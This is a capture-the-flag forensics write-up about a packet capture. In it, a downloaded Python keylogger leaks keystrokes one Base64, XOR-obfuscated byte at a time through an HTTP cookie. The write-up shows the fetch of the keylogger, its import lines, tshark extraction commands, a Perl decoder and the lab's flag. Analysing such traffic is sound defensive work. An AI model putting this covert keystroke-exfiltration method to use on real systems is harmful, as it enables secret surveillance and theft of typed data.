A packet capture (traffic.pcapng) of a compromised host. A downloaded Python
keylogger exfiltrates keystrokes one character at a time inside an HTTP cookie
(hotel_sess_state=), Base64-wrapped and XOR-obfuscated. Reassemble the cookie stream,
undo the XOR, and the typed text spells the flag.
Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.
A short capture from the guest network is all VERA could pull before the connection dropped. Somewhere in that traffic, a quiet little errand is running on a loop, and it isn't part of any service the hotel actually offers.
Today's itinerary: Analyze the provided capture for a covert communication channel. Identify where the exfiltrated data is being hidden and reassemble it. Decode the recovered data and submit the flag.
$ file traffic.pcapng
traffic.pcapng: pcapng capture file
Only the capture. No live target.
Follow the HTTP objects; something was fetched and run.
$ # Wireshark -> Follow HTTP: GET /temp/updates.py
GET /temp/updates.py HTTP/1.1
Host: byte-lotus-hotel.thm:8080
...
import requests
import base64
from pynput import keyboard
...
Conclusion: updates.py is a pynput keylogger. It sends each
captured character to the server - Base64-encoded, and (from the payload sizes) XOR'd first.
Pull every exfil cookie out of the capture in order.
$ tshark -r traffic.pcapng -Y 'frame contains "hotel_sess_state="' -T fields -e tcp.payload \
| xxd -r -p | grep hotel_sess_state=
Cookie: hotel_sess_state=HA==
Cookie: hotel_sess_state=AA==
Cookie: hotel_sess_state=BQ==
... (one Base64 byte per request) ...
Conclusion: each cookie is Base64 of a single byte. Decoding gives a stream of bytes that
is still obfuscated - a single-byte XOR against the key H (0x48) recovers ASCII.
For each cookie: strip to the Base64, decode to one byte, XOR with 'H', append.
$ perl 1hf.py
-> -> T
-> -> H
-> -> M
-> 3 -> {
-> -> V
-> { -> 3
...
-> = -> u
-> 5 -> }
flag: THM{V3r4_1s_w4tch1ng_0veR_y0u}
FLAG = THM{V3r4_1s_w4tch1ng_0veR_y0u}
Conclusion: the keylogger's XOR+Base64 exfil is trivially reversible from the capture - "VERA is watching over you".
The decoder, 1hf.py (Perl), verbatim:
#!perl
use MIME::Base64;
$p1 = "H0t3lSt@ff0Nly";
$p2 = "K3epS3cr3t!";
open(IN, "tshark -r traffic.pcapng -Y 'frame contains \"hotel_sess_state=\"' -T fields -e tcp.payload | xxd -r -p | grep \"^Cookie: hotel_sess_state=\" |") or die "open: $!";
$flag = "";
while (<IN>) {
$b64 = $_;
$b64 =~ s,.*e=,,;
chomp($b64);
$s = decode_base64($b64);
$p = chr(ord($s) ^ ord("H"));
print("$b64 -> $s -> $p\n");
$flag .= $p;
}
close(IN);
print("flag: $flag\n");
(The keylogger's key is $p1.$p2, but it XORs each character with
key[i % len] and sends every keystroke in its own request - so i is
always 0 and only the first key byte, H, is ever used. Hence the single-byte XOR
against 'H'.)
$ perl 1hf.py
flag: THM{V3r4_1s_w4tch1ng_0veR_y0u}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Identify | HTTP object /temp/updates.py is a pynput keylogger. |
| 2 | Reassemble | Each keystroke is exfiltrated as one Base64 byte in the hotel_sess_state= cookie; pull them in order with tshark. |
| 3 | Decode | Base64-decode each, XOR with key 0x48 ('H'), concatenate -> THM{V3r4_1s_w4tch1ng_0veR_y0u}. |